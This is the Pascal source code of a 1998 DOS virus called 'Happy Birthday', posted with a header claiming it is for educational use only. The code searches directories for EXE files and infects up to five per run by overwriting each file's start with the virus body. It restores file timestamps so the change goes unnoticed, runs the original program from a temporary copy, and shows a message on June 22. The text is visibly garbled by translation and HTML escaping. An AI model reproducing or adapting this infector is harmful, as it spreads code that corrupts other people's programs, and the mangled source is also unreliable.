Worms compiled by Pascal, provided by lingmeng and reproduced by chaobs

{Happy Birthday (c) 1998 Worm
I don't take responsibility for any damage caused by this virus.
It was made for educational use only.
AVS: No Detection
Size: 8928 bytes
Payload: yes-display text
Stealth: yes-file time
Infects: exe
Encryption: No
If you 've got any question write
}
{$ I -}
Uses WINDOS, DOS;
Const virushossz= 8928;
Dir: array [1 .. 4] of string [10] = ('G? Z 'id', 'G? Zmi} O '', 'G? Z 'x x', 'G? Zmi}
O 'cf ');
VaR exebuffer, virusbuffer: array [1 .. virushossz] of byte;
Regia: word;
Regit: longint;
Fuck: word;
Disable: file;
Konyvt: string;
Eddig: byte;
Y, M, D, Dow: word;
Function crypt (S: string): string; {encryption/decryption}
VaR {a string .}
I: byte;
Begin
For I: = 1 to length (s) do
S [I]: = char (ord (s [I]) XOR (I + 3 ));
Crypt: = s;
End;
Procedure meglepetes; {display text}
Begin
Getdate (Y, M, D, Dow );
If (M = 6) and (D = 22) then begin
Writeln ('$ mgwxp * izgtpk3czdz9 ');
Writeln ('$ MD) xhy + z = & lt ;? : P = 5 ''.!! : LSOS ');
End;
End;
Function dosshell (command: string): integer; var {maximize heap before exec}
Oldheapend,
Newheapend: word;
Error: integer;
Begin
Error: = 0;
If memavail & lt; $1000 then error: = 8;
If error = 0 then begin
Newheapend: = seg (heapptr ^)-prefixseg;
Oldheapend: = seg (heapend ^)-prefixseg;
ASM
MoV ah, 4ah
MoV BX, newheapend
MoV es, prefixseg
Int 21 h
JNC @ exit
MoV error, ax
@ Exit:
End; {ASM}
If error = 0 then begin
Swapvectors;
Exec (getenv ('comspec '), command );
Swapvectors;
ASM
MoV ah, 4ah
MoV BX, oldheapend
MoV es, prefixseg
Int 21 h
JNC @ exit
MoV error, ax
@ Exit:
End; {ASM}
End; {if}
End; {if}
Dosshell: = error;
End; {function}
Procedure futtatas; {execute Host Program}
VaR fuf, lf: file;
Fufa: searchrec;
IX: integer;
Comlin: string;
Begin
Findfirst (paramstr (Fuck), anyfile, fufa );
If fufa. Size & gt; virushossz then begin
Assign (fuf, fufa. Name );
S. getfattr (fuf, regia );
S. setfattr (fuf, archive );
Reset (fuf, 1 );
Assign (LF, crypt ('slhsey: "hvj '));
Rewrite (read/write, 1 );
S. getftime (fuf, regit );
Seek (fuf, fufa. Size-(virushossz + 10 ));
Blockread (fuf, exebuffer, virushossz );
Seek (LF, 0 );
Blockwrite (LF, exebuffer, virushossz );
Seek (fuf, virushossz );
For IX: = 1 to (fufa. Size-(virushossz + 10) Div virushossz do be
Gin
Blockread (fuf, exebuffer, virushossz );
Blockwrite (LF, exebuffer, virushossz );
End;
IX: = (fufa. Size-(virushossz + 10) mod virushossz;
Blockread (fuf, exebuffer, IX );
Blockwrite (LF, exebuffer, IX );
Close (LF );
S. setftime (fuf, regit );
Close (fuf );
S. setfattr (fuf, regia );
For DoW: = 1 to paramcount do
Comlin: = comlin + ''+ paramstr (Dow );
Dosshell (crypt ('+ F & PAG ~ F | = ?! Uiw' + comlin ));
Erase (LF );
End;
End;
Function fertozott (ellfa: searchrec): Boolean; {is file already infected ?}
VaR I: byte;
Osszeg: longint;
Ellkey: array [1 .. 10] of byte;
Modosito: byte;
Ellf: file;
Begin
Assign (ellf, ellfa. Name );
WINDOS. getfattr (ellf, regia );
WINDOS. setfattr (ellf, archive );
Reset (ellf, 1 );
WINDOS. getftime (ellf, regit );
Seek (ellf, ellfa. Size-10 );
Blockread (ellf, ellkey, 10 );
WINDOS. setftime (ellf, regit );
Close (ellf );
WINDOS. setfattr (ellf, regia );
Osszeg: = 1;
For I: = 1 to 10 do begin
If ellkey [I] & gt; 9 then begin
Modosito: = ellkey [I] Div 10;
Ellkey [I]: = ellkey [I]-10 * modosito;
End;
Osszeg: = osszeg * ellkey [I];
End;
If osszeg = 126000 then fertozott: = true else fertozott: = false;
End;
Procedure fertoz (filehelye, fileneve: string); {infect a file-filehelye = pat
H}
Label next; {of file, fileneve = its name
}
VaR FEF: file;
Fefa: searchrec;
K: array [1 .. 10] of byte;
DT: tdatetime;
Procedure keygen;
VaR O: longint;
I, A: byte;
Begin
Repeat
O: = 126000;
For I: = 1 to 10 do begin
Repeat
A: = random (8) + 1;
Until o MOD a = 0;
O: = O Div;
K [I]: =;
End;
O: = 1;
For I: = 1 to 10 do O: = O * k [I];
Until o = 126000;
For I: = 1 to 10 do K [I]: = K [I] + random (24) * 10;
End;
Begin
Chdir (filehelye );
Findfirst (fileneve, anyfile, fefa );
If doserror = 0 then begin
If fefa. Size & gt; virushossz + 10 then begin;
Assign (FEF, fefa. Name );
WINDOS. getfattr (FEF, regia );
S. setfattr (FEF, archive );
Reset (FEF, 1 );
S. getftime (FEF, regit );
If fertozott (fefa) & lt; & gt; true then begin
Seek (FEF, 0 );
Blockread (FEF, exebuffer, virushossz );
Seek (FEF, 0 );
Blockwrite (FEF, virusbuffer, virushossz );
Seek (FEF, fefa. size );
Blockwrite (FEF, exebuffer, virushossz );
Keygen;
Blockwrite (FEF, K, 10 );
WINDOS. setftime (FEF, regit );
Eddig: = eddig + 1;
End;
Close (FEF );
WINDOS. setfattr (FEF, regia );
End;
End;
End;
Procedure fertozes (Path: pathstr); {This One searches subdirs of}

{Path given as parameter and}

VaR searchfile: searchrec; {infects them (max. 5 files/run}

Begin
If path [length (PATH)] & lt; & gt; '\' then
Path: = path + '\';
Findfirst (path + '*. *', $37, searchfile );
While (doserror = 0) and (eddig & lt; 5) Do
Begin
If (searchfile. ATTR and $10) = $10) and (searchfile. name [1] & lt; & gt; '.') and
(Eddig & lt; 5) then
Fertozes (path + searchfile. Name)
Else
If (Pos ('. EXE', searchfile. Name) & lt; & gt; 0) and (eddig & lt; 5) then begin
Fertoz (path, searchfile. Name );
End;
If (eddig & lt; 5) Then findnext (searchfile );
End;
End;
Procedure inicializacio;
VaR inf: file;
Begin
Assign (INF, paramstr (Fuck); {open current file (host )}

Getfattr (INF, regia); {save file time for time}

Setfattr (INF, archive); {stealth and move VX code}

Reset (INF, 1); {into VX buffer .}

Getftime (INF, regit );
Seek (INF, 0 );
Blockread (INF, virusbuffer, virushossz );
Setftime (INF, regit); {close file and set time}

Close (INF );
Setfattr (INF, regia );
End;
Begin
Getdir (0, konyvt); {Get current dir}
Randomize; {for the keygenerator}
Eddig: = 0;
Inicializacio; {initialize buffers}
Getdate (Y, M, D, Dow );
If Dow = 5 then fertozes ('C: \ '); {infect files}
For DoW: = 1 to 4 Do begin
Chdir (crypt (dir [Dow]);
If ioresult = 0 then fertozes (crypt (dir [Dow]);
End;
Futtatas; {execute Host}
Meglepetes; {payload}
Chdir (konyvt); {Reset Original dir}
End.